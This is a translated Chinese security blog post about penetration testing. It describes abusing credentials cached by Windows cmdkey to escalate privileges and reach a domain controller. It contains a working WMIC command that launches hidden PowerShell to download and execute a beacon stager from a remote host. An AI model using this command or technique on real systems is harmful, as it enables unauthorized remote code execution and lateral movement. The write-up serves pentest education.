利用 Windows 系统内置的域用户密钥缓存工具 cmdkey 辅助渗透提权

2017-11-30 13,135

本文翻译:mssp299

本文属于安全脉搏原创金币奖励计划

转载请参考:https://www.secpulse.com/archives/61458.html


原文地址:https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation


最近,我在Windows系统上探索缓存明文凭证方法的过程中,发现了一个非常有趣的工具:cmdkey.exe。Cmdkey是一个内置的Windows工具,可以用来缓存在特定目标机器上使用的域用户凭证。您可以从下列地址查看来自Microsoft的相关文档:https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx。


总起来说,我对cmdkey的下列特点非常感兴趣:

  1. 允许我们以普通域用户的身份来显示和创建凭证

  2. 它通常用于在远程系统上执行管理任务

看上去,这个工具貌似可以用来提升权限呀!所以,我决定进行深入研究,并尝试将其应用于一个内部渗透测试场景。


场景:您已经在一台域用户工作站上建立了一个,但是该账户不仅没有本地管理员权限,也没有在其他系统上进行提权。不过,该用户有一个用于远程管理的辅助帐户,同时,为了方便起见,该用户还使用了cmdkey来缓存各种凭证。


1.png


最初的beacon C2只有普通域用户帐户,并且没有其他权限。

好的……现在,我们已经建立了一个beacon C2,并且它没有任何特权,接下来,让我们通过cmdkey /list命令来显示缓存的各种凭证。


2.png


通过“cmdkey /list”显示缓存的凭证时,我们发现了一些有趣的东西…… 


3.png


通过进一步检查该用户的详细信息,我们发现这次中了个大奖——我们的系统上面竟然缓存了一个管理员用户的凭证。

现在,这里缓存的大部分凭证都是用于下拉文件或访问远程系统上的资源。不过,作为渗透测试人员,我想做一些更加有用的事情。在渗透测试期间,我会经常通过WMIC启动一个远程PowerShell进程来建立新的C2频道,以便下载和执行beacon stager。该命令如下所示: 

|wmic /node:<TARGET-BOX process call create "cmd /c powershell.exe -nop
-w hidden -c \"IEX ((new-object
net.webclient).downloadstring('http://beacon_IP/a'))\""|

让我们使用cmdkey缓存的凭证来尝试一下。


4.png


成功啦!

确实管用!Windows知道为WMIC命令使用缓存的凭证,这样我们就能够在目标机器(恰好是一个域控制器)上建立一个管理beacon。这是非常有用的,因为它不需要对目标账户进行任何形式的提权,就能够提升我们的访问权限。显然,这种情况不会经常出现。但是,我们能够很容易找出这种情形——只需使用“cmdkey / list”,就能马上找到是否有迅速提升访问权限的缓存凭证了。祝阅读愉快!

本文作者:mssp299

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/66084.html

Tags:
评论  (1)
快来写下你的想法吧!

mssp299

文章数:51 积分: 662

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号